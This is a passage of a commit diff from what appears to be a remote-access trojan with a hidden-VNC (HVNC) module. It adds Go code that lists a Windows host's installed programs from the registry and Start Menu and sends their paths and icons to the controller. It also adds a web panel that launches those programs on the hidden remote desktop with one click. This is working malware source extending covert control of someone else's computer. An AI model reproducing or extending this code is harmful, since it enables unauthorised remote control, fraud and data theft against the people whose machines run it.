allow all apps to be opened in HVNC and show their icons as well. (exe only for best support)
This commit is contained in:
@@ -1512,6 +1512,40 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
case "hvnc_installed_apps":
|
||||||
|
log.Printf("hvnc: installed apps enumeration requested")
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("hvnc_installed_apps", nil, func() {
|
||||||
|
const batchSize = 15
|
||||||
|
apps := enumerateInstalledApps()
|
||||||
|
log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps))
|
||||||
|
var batch []wire.HVNCInstalledApp
|
||||||
|
sent := 0
|
||||||
|
for _, a := range apps {
|
||||||
|
batch = append(batch, wire.HVNCInstalledApp{
|
||||||
|
Name: a.name,
|
||||||
|
ExePath: a.exePath,
|
||||||
|
Icon: extractIconBase64(a.exePath),
|
||||||
|
})
|
||||||
|
if len(batch) >= batchSize {
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
|
||||||
|
Type: "hvnc_installed_apps_result",
|
||||||
|
Apps: batch,
|
||||||
|
})
|
||||||
|
sent += len(batch)
|
||||||
|
batch = batch[:0]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
|
||||||
|
Type: "hvnc_installed_apps_result",
|
||||||
|
Apps: batch,
|
||||||
|
Done: true,
|
||||||
|
})
|
||||||
|
sent += len(batch)
|
||||||
|
log.Printf("hvnc: installed apps complete, sent %d apps", sent)
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
case "hvnc_lookup":
|
case "hvnc_lookup":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
exeName := ""
|
exeName := ""
|
||||||
|
|||||||
@@ -0,0 +1,26 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
type appWithIcon struct {
|
||||||
|
Name string
|
||||||
|
ExePath string
|
||||||
|
Icon string
|
||||||
|
}
|
||||||
|
|
||||||
|
type installedApp struct {
|
||||||
|
name string
|
||||||
|
exePath string
|
||||||
|
}
|
||||||
|
|
||||||
|
func getInstalledAppsWithIcons() []appWithIcon {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateInstalledApps() []installedApp {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func extractIconBase64(_ string) string {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
@@ -0,0 +1,431 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/base64"
|
||||||
|
"image"
|
||||||
|
"image/color"
|
||||||
|
"image/png"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
iaShell32 = windows.NewLazySystemDLL("shell32.dll")
|
||||||
|
iaUser32 = windows.NewLazySystemDLL("user32.dll")
|
||||||
|
iaGdi32 = windows.NewLazySystemDLL("gdi32.dll")
|
||||||
|
pExtractIconExW = iaShell32.NewProc("ExtractIconExW")
|
||||||
|
pDestroyIcon = iaUser32.NewProc("DestroyIcon")
|
||||||
|
pGetIconInfo = iaUser32.NewProc("GetIconInfo")
|
||||||
|
pGetDIBits = iaGdi32.NewProc("GetDIBits")
|
||||||
|
pCreateCompatibleDC = iaGdi32.NewProc("CreateCompatibleDC")
|
||||||
|
pDeleteDC = iaGdi32.NewProc("DeleteDC")
|
||||||
|
pDeleteObject = iaGdi32.NewProc("DeleteObject")
|
||||||
|
pGetObjectW = iaGdi32.NewProc("GetObjectW")
|
||||||
|
)
|
||||||
|
|
||||||
|
type iconInfo struct {
|
||||||
|
FIcon int32
|
||||||
|
XHotspot uint32
|
||||||
|
YHotspot uint32
|
||||||
|
HbmMask windows.Handle
|
||||||
|
HbmColor windows.Handle
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitmapInfoHeader struct {
|
||||||
|
BiSize uint32
|
||||||
|
BiWidth int32
|
||||||
|
BiHeight int32
|
||||||
|
BiPlanes uint16
|
||||||
|
BiBitCount uint16
|
||||||
|
BiCompression uint32
|
||||||
|
BiSizeImage uint32
|
||||||
|
BiXPelsPerMeter int32
|
||||||
|
BiYPelsPerMeter int32
|
||||||
|
BiClrUsed uint32
|
||||||
|
BiClrImportant uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type bitmapObj struct {
|
||||||
|
BmType int32
|
||||||
|
BmWidth int32
|
||||||
|
BmHeight int32
|
||||||
|
BmWidthBytes int32
|
||||||
|
BmPlanes uint16
|
||||||
|
BmBitsPixel uint16
|
||||||
|
BmBits uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
type installedApp struct {
|
||||||
|
name string
|
||||||
|
exePath string
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateInstalledApps() []installedApp {
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
var apps []installedApp
|
||||||
|
|
||||||
|
add := func(name, exePath string) {
|
||||||
|
if name == "" || exePath == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exePath = normalizeExePath(exePath)
|
||||||
|
if exePath == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(exePath)
|
||||||
|
if seen[lower] {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(lower, ".exe") {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(exePath); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if isUninstallExe(lower) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[lower] = true
|
||||||
|
apps = append(apps, installedApp{name: name, exePath: exePath})
|
||||||
|
}
|
||||||
|
|
||||||
|
uninstallPaths := []struct {
|
||||||
|
root registry.Key
|
||||||
|
path string
|
||||||
|
}{
|
||||||
|
{registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall`},
|
||||||
|
{registry.LOCAL_MACHINE, `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall`},
|
||||||
|
{registry.CURRENT_USER, `SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall`},
|
||||||
|
}
|
||||||
|
for _, up := range uninstallPaths {
|
||||||
|
enumerateUninstallKey(up.root, up.path, add)
|
||||||
|
}
|
||||||
|
|
||||||
|
appPathRoots := []struct {
|
||||||
|
root registry.Key
|
||||||
|
path string
|
||||||
|
}{
|
||||||
|
{registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths`},
|
||||||
|
{registry.CURRENT_USER, `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths`},
|
||||||
|
}
|
||||||
|
for _, ap := range appPathRoots {
|
||||||
|
enumerateAppPaths(ap.root, ap.path, add)
|
||||||
|
}
|
||||||
|
|
||||||
|
enumerateStartMenu(add)
|
||||||
|
|
||||||
|
return apps
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateUninstallKey(root registry.Key, path string, add func(string, string)) {
|
||||||
|
k, err := registry.OpenKey(root, path, registry.ENUMERATE_SUB_KEYS)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
|
||||||
|
subkeys, err := k.ReadSubKeyNames(-1)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sub := range subkeys {
|
||||||
|
sk, err := registry.OpenKey(root, path+`\`+sub, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
name, _, _ := sk.GetStringValue("DisplayName")
|
||||||
|
if name == "" {
|
||||||
|
sk.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var exePath string
|
||||||
|
icon, _, err := sk.GetStringValue("DisplayIcon")
|
||||||
|
if err == nil && icon != "" {
|
||||||
|
exePath = normalizeExePath(icon)
|
||||||
|
}
|
||||||
|
if exePath == "" {
|
||||||
|
loc, _, err := sk.GetStringValue("InstallLocation")
|
||||||
|
if err == nil && loc != "" {
|
||||||
|
exePath = findExeInDir(loc)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sk.Close()
|
||||||
|
add(name, exePath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateAppPaths(root registry.Key, path string, add func(string, string)) {
|
||||||
|
k, err := registry.OpenKey(root, path, registry.ENUMERATE_SUB_KEYS)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
|
||||||
|
subkeys, err := k.ReadSubKeyNames(-1)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sub := range subkeys {
|
||||||
|
sk, err := registry.OpenKey(root, path+`\`+sub, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
val, _, err := sk.GetStringValue("")
|
||||||
|
sk.Close()
|
||||||
|
if err != nil || val == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
name := strings.TrimSuffix(sub, filepath.Ext(sub))
|
||||||
|
add(name, val)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateStartMenu(add func(string, string)) {
|
||||||
|
dirs := []string{
|
||||||
|
os.Getenv("ProgramData") + `\Microsoft\Windows\Start Menu\Programs`,
|
||||||
|
os.Getenv("APPDATA") + `\Microsoft\Windows\Start Menu\Programs`,
|
||||||
|
}
|
||||||
|
for _, dir := range dirs {
|
||||||
|
if dir == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil || info.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(strings.ToLower(path), ".lnk") {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
target := resolveShortcut(path)
|
||||||
|
if target == "" || !strings.HasSuffix(strings.ToLower(target), ".exe") {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
name := strings.TrimSuffix(info.Name(), ".lnk")
|
||||||
|
if strings.HasPrefix(strings.ToLower(name), "uninstall") {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
add(name, target)
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveShortcut(lnkPath string) string {
|
||||||
|
data, err := os.ReadFile(lnkPath)
|
||||||
|
if err != nil || len(data) < 78 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
// Verify magic: 4C 00 00 00
|
||||||
|
if data[0] != 0x4C || data[1] != 0x00 || data[2] != 0x00 || data[3] != 0x00 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
flags := uint32(data[0x14]) | uint32(data[0x15])<<8 | uint32(data[0x16])<<16 | uint32(data[0x17])<<24
|
||||||
|
hasLinkTargetIDList := flags&0x01 != 0
|
||||||
|
hasLinkInfo := flags&0x02 != 0
|
||||||
|
|
||||||
|
offset := 0x4C // header size
|
||||||
|
|
||||||
|
if hasLinkTargetIDList {
|
||||||
|
if offset+2 > len(data) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
idListSize := int(uint16(data[offset]) | uint16(data[offset+1])<<8)
|
||||||
|
offset += 2 + idListSize
|
||||||
|
}
|
||||||
|
|
||||||
|
if !hasLinkInfo {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if offset+4 > len(data) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
linkInfoSize := int(uint32(data[offset]) | uint32(data[offset+1])<<8 | uint32(data[offset+2])<<16 | uint32(data[offset+3])<<24)
|
||||||
|
if linkInfoSize < 28 || offset+linkInfoSize > len(data) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
linkInfoData := data[offset : offset+linkInfoSize]
|
||||||
|
|
||||||
|
localBasePathOffset := int(uint32(linkInfoData[0x10]) | uint32(linkInfoData[0x11])<<8 | uint32(linkInfoData[0x12])<<16 | uint32(linkInfoData[0x13])<<24)
|
||||||
|
|
||||||
|
if localBasePathOffset == 0 || localBasePathOffset >= len(linkInfoData) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
end := localBasePathOffset
|
||||||
|
for end < len(linkInfoData) && linkInfoData[end] != 0 {
|
||||||
|
end++
|
||||||
|
}
|
||||||
|
return string(linkInfoData[localBasePathOffset:end])
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeExePath(p string) string {
|
||||||
|
if p == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
p = strings.Trim(p, `"`)
|
||||||
|
// Strip icon index suffix: path.exe,0
|
||||||
|
if idx := strings.LastIndex(p, ","); idx > 0 {
|
||||||
|
candidate := strings.TrimSpace(p[:idx])
|
||||||
|
if strings.HasSuffix(strings.ToLower(candidate), ".exe") {
|
||||||
|
p = candidate
|
||||||
|
}
|
||||||
|
}
|
||||||
|
p = os.ExpandEnv(p)
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
|
||||||
|
func findExeInDir(dir string) string {
|
||||||
|
if dir == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
entries, err := os.ReadDir(dir)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var bestPath string
|
||||||
|
var bestSize int64
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
info, err := e.Info()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if info.Size() > bestSize {
|
||||||
|
bestSize = info.Size()
|
||||||
|
bestPath = filepath.Join(dir, e.Name())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bestPath
|
||||||
|
}
|
||||||
|
|
||||||
|
func isUninstallExe(lowerPath string) bool {
|
||||||
|
base := strings.ToLower(filepath.Base(lowerPath))
|
||||||
|
return strings.Contains(base, "unins") ||
|
||||||
|
strings.Contains(base, "uninst") ||
|
||||||
|
strings.Contains(base, "uninstall") ||
|
||||||
|
strings.HasPrefix(base, "remove")
|
||||||
|
}
|
||||||
|
|
||||||
|
func extractIconBase64(exePath string) string {
|
||||||
|
pathPtr, err := windows.UTF16PtrFromString(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
var hIconLarge uintptr
|
||||||
|
ret, _, _ := pExtractIconExW.Call(
|
||||||
|
uintptr(unsafe.Pointer(pathPtr)),
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&hIconLarge)),
|
||||||
|
0,
|
||||||
|
1,
|
||||||
|
)
|
||||||
|
if ret == 0 || hIconLarge == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer pDestroyIcon.Call(hIconLarge)
|
||||||
|
|
||||||
|
var ii iconInfo
|
||||||
|
r, _, _ := pGetIconInfo.Call(hIconLarge, uintptr(unsafe.Pointer(&ii)))
|
||||||
|
if r == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if ii.HbmMask != 0 {
|
||||||
|
defer pDeleteObject.Call(uintptr(ii.HbmMask))
|
||||||
|
}
|
||||||
|
if ii.HbmColor == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer pDeleteObject.Call(uintptr(ii.HbmColor))
|
||||||
|
|
||||||
|
var bm bitmapObj
|
||||||
|
pGetObjectW.Call(uintptr(ii.HbmColor), unsafe.Sizeof(bm), uintptr(unsafe.Pointer(&bm)))
|
||||||
|
if bm.BmWidth <= 0 || bm.BmHeight <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
w := int(bm.BmWidth)
|
||||||
|
h := int(bm.BmHeight)
|
||||||
|
|
||||||
|
hdc, _, _ := pCreateCompatibleDC.Call(0)
|
||||||
|
if hdc == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer pDeleteDC.Call(hdc)
|
||||||
|
|
||||||
|
bih := bitmapInfoHeader{
|
||||||
|
BiSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||||
|
BiWidth: int32(w),
|
||||||
|
BiHeight: -int32(h), // top-down
|
||||||
|
BiPlanes: 1,
|
||||||
|
BiBitCount: 32,
|
||||||
|
}
|
||||||
|
|
||||||
|
pixels := make([]byte, w*h*4)
|
||||||
|
pGetDIBits.Call(hdc, uintptr(ii.HbmColor), 0, uintptr(h),
|
||||||
|
uintptr(unsafe.Pointer(&pixels[0])),
|
||||||
|
uintptr(unsafe.Pointer(&bih)),
|
||||||
|
0, // DIB_RGB_COLORS
|
||||||
|
)
|
||||||
|
|
||||||
|
img := image.NewRGBA(image.Rect(0, 0, w, h))
|
||||||
|
for y := 0; y < h; y++ {
|
||||||
|
for x := 0; x < w; x++ {
|
||||||
|
off := (y*w + x) * 4
|
||||||
|
// BGRA → RGBA
|
||||||
|
img.SetRGBA(x, y, color.RGBA{
|
||||||
|
R: pixels[off+2],
|
||||||
|
G: pixels[off+1],
|
||||||
|
B: pixels[off+0],
|
||||||
|
A: pixels[off+3],
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var buf bytes.Buffer
|
||||||
|
if err := png.Encode(&buf, img); err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return base64.StdEncoding.EncodeToString(buf.Bytes())
|
||||||
|
}
|
||||||
|
|
||||||
|
type appWithIcon struct {
|
||||||
|
Name string
|
||||||
|
ExePath string
|
||||||
|
Icon string
|
||||||
|
}
|
||||||
|
|
||||||
|
func getInstalledAppsWithIcons() []appWithIcon {
|
||||||
|
apps := enumerateInstalledApps()
|
||||||
|
log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps))
|
||||||
|
|
||||||
|
out := make([]appWithIcon, len(apps))
|
||||||
|
for i, app := range apps {
|
||||||
|
out[i] = appWithIcon{
|
||||||
|
Name: app.name,
|
||||||
|
ExePath: app.exePath,
|
||||||
|
Icon: extractIconBase64(app.exePath),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
@@ -252,6 +252,18 @@ type HVNCBrowserCheckResult struct {
|
|||||||
Browsers map[string]bool `msgpack:"browsers"`
|
Browsers map[string]bool `msgpack:"browsers"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type HVNCInstalledApp struct {
|
||||||
|
Name string `msgpack:"name"`
|
||||||
|
ExePath string `msgpack:"exePath"`
|
||||||
|
Icon string `msgpack:"icon"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type HVNCInstalledAppsResult struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Apps []HVNCInstalledApp `msgpack:"apps"`
|
||||||
|
Done bool `msgpack:"done"`
|
||||||
|
}
|
||||||
|
|
||||||
type ClipboardContent struct {
|
type ClipboardContent struct {
|
||||||
Type string `msgpack:"type"`
|
Type string `msgpack:"type"`
|
||||||
Text string `msgpack:"text"`
|
Text string `msgpack:"text"`
|
||||||
|
|||||||
@@ -397,6 +397,94 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
sendCmd("hvnc_browser_check", {});
|
sendCmd("hvnc_browser_check", {});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const installedAppsLoading = document.getElementById("installedAppsLoading");
|
||||||
|
const installedAppsList = document.getElementById("installedAppsList");
|
||||||
|
const installedAppsGrid = document.getElementById("installedAppsGrid");
|
||||||
|
const installedAppsCount = document.getElementById("installedAppsCount");
|
||||||
|
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
|
||||||
|
let installedAppsData = [];
|
||||||
|
|
||||||
|
let installedAppsLoading_pending = false;
|
||||||
|
|
||||||
|
function requestInstalledApps() {
|
||||||
|
installedAppsData = [];
|
||||||
|
installedAppsLoading_pending = true;
|
||||||
|
if (installedAppsLoading) installedAppsLoading.classList.remove("hidden");
|
||||||
|
if (installedAppsList) installedAppsList.classList.add("hidden");
|
||||||
|
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
||||||
|
if (installedAppsCount) installedAppsCount.textContent = "";
|
||||||
|
sendCmd("hvnc_installed_apps", {});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (refreshInstalledApps) {
|
||||||
|
refreshInstalledApps.addEventListener("click", (e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
requestInstalledApps();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleInstalledAppsResult(msg) {
|
||||||
|
if (!installedAppsGrid) return;
|
||||||
|
const apps = msg.apps || [];
|
||||||
|
const done = !!msg.done;
|
||||||
|
|
||||||
|
if (apps.length > 0) {
|
||||||
|
installedAppsData.push(...apps);
|
||||||
|
if (installedAppsLoading) installedAppsLoading.classList.add("hidden");
|
||||||
|
if (installedAppsList) installedAppsList.classList.remove("hidden");
|
||||||
|
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length}${done ? "" : "…"})`;
|
||||||
|
|
||||||
|
for (const app of apps) {
|
||||||
|
appendAppButton(app);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (done) {
|
||||||
|
installedAppsLoading_pending = false;
|
||||||
|
if (installedAppsLoading) installedAppsLoading.classList.add("hidden");
|
||||||
|
if (installedAppsList) installedAppsList.classList.remove("hidden");
|
||||||
|
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
|
||||||
|
if (installedAppsData.length === 0) {
|
||||||
|
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function appendAppButton(app) {
|
||||||
|
const btn = document.createElement("button");
|
||||||
|
btn.type = "button";
|
||||||
|
btn.className = "installed-app-btn";
|
||||||
|
btn.title = app.exePath || app.name;
|
||||||
|
|
||||||
|
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
|
||||||
|
const img = document.createElement("img");
|
||||||
|
img.src = "data:image/png;base64," + app.icon;
|
||||||
|
img.alt = "";
|
||||||
|
btn.appendChild(img);
|
||||||
|
} else {
|
||||||
|
const placeholder = document.createElement("span");
|
||||||
|
placeholder.className = "app-icon-placeholder";
|
||||||
|
placeholder.innerHTML = '<i class="fa-solid fa-cube"></i>';
|
||||||
|
btn.appendChild(placeholder);
|
||||||
|
}
|
||||||
|
const nameSpan = document.createElement("span");
|
||||||
|
nameSpan.className = "app-name";
|
||||||
|
nameSpan.textContent = app.name;
|
||||||
|
btn.appendChild(nameSpan);
|
||||||
|
|
||||||
|
btn.addEventListener("click", () => {
|
||||||
|
sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' });
|
||||||
|
hideContextMenu();
|
||||||
|
});
|
||||||
|
installedAppsGrid.appendChild(btn);
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeHtml(str) {
|
||||||
|
const div = document.createElement("div");
|
||||||
|
div.textContent = str;
|
||||||
|
return div.innerHTML;
|
||||||
|
}
|
||||||
|
|
||||||
function sendCmd(type, payload) {
|
function sendCmd(type, payload) {
|
||||||
if (!activeClientId) {
|
if (!activeClientId) {
|
||||||
console.warn("No active client selected");
|
console.warn("No active client selected");
|
||||||
@@ -786,6 +874,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
handleBrowserCheckResult(msg);
|
handleBrowserCheckResult(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||||
|
handleInstalledAppsResult(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||||
handleDXGIStatus(msg);
|
handleDXGIStatus(msg);
|
||||||
return;
|
return;
|
||||||
@@ -821,6 +913,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
handleBrowserCheckResult(msg);
|
handleBrowserCheckResult(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||||
|
handleInstalledAppsResult(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||||
handleDXGIStatus(msg);
|
handleDXGIStatus(msg);
|
||||||
return;
|
return;
|
||||||
@@ -860,6 +956,9 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
requestBrowserCheck();
|
requestBrowserCheck();
|
||||||
|
if (!installedAppsLoading_pending && installedAppsData.length === 0) {
|
||||||
|
requestInstalledApps();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function onWsClose() {
|
function onWsClose() {
|
||||||
|
|||||||
@@ -256,6 +256,21 @@
|
|||||||
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="lookup-exe">
|
<button type="button" class="w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action="lookup-exe">
|
||||||
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
|
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
|
||||||
</button>
|
</button>
|
||||||
|
<div class="my-1 border-t border-slate-700/60"></div>
|
||||||
|
<!-- Installed Apps -->
|
||||||
|
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500 flex items-center gap-2">
|
||||||
|
<span>Installed Apps</span>
|
||||||
|
<span id="installedAppsCount" class="text-slate-600"></span>
|
||||||
|
<button type="button" id="refreshInstalledApps" class="ml-auto text-slate-500 hover:text-slate-300" title="Refresh installed apps">
|
||||||
|
<i class="fa-solid fa-rotate text-[10px]"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
|
||||||
|
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
|
||||||
|
</div>
|
||||||
|
<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
|
||||||
|
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<style>
|
<style>
|
||||||
body {
|
body {
|
||||||
@@ -295,6 +310,59 @@
|
|||||||
font-size: 0.65rem;
|
font-size: 0.65rem;
|
||||||
color: #94a3b8;
|
color: #94a3b8;
|
||||||
}
|
}
|
||||||
|
#installedAppsList::-webkit-scrollbar {
|
||||||
|
width: 6px;
|
||||||
|
}
|
||||||
|
#installedAppsList::-webkit-scrollbar-track {
|
||||||
|
background: transparent;
|
||||||
|
}
|
||||||
|
#installedAppsList::-webkit-scrollbar-thumb {
|
||||||
|
background: #334155;
|
||||||
|
border-radius: 3px;
|
||||||
|
}
|
||||||
|
#installedAppsList::-webkit-scrollbar-thumb:hover {
|
||||||
|
background: #475569;
|
||||||
|
}
|
||||||
|
.installed-app-btn {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
width: 100%;
|
||||||
|
text-align: left;
|
||||||
|
padding: 5px 8px;
|
||||||
|
border-radius: 6px;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: #e2e8f0;
|
||||||
|
transition: background 0.15s;
|
||||||
|
}
|
||||||
|
.installed-app-btn:hover {
|
||||||
|
background: rgba(139, 92, 246, 0.18);
|
||||||
|
color: #c4b5fd;
|
||||||
|
}
|
||||||
|
.installed-app-btn img {
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
flex-shrink: 0;
|
||||||
|
image-rendering: auto;
|
||||||
|
}
|
||||||
|
.installed-app-btn .app-icon-placeholder {
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
flex-shrink: 0;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
background: #1e293b;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 10px;
|
||||||
|
color: #64748b;
|
||||||
|
}
|
||||||
|
.installed-app-btn .app-name {
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
</style>
|
</style>
|
||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
|
|||||||
@@ -92,6 +92,7 @@ import {
|
|||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
handleHVNCLookupResult,
|
handleHVNCLookupResult,
|
||||||
handleHVNCBrowserCheckResult,
|
handleHVNCBrowserCheckResult,
|
||||||
|
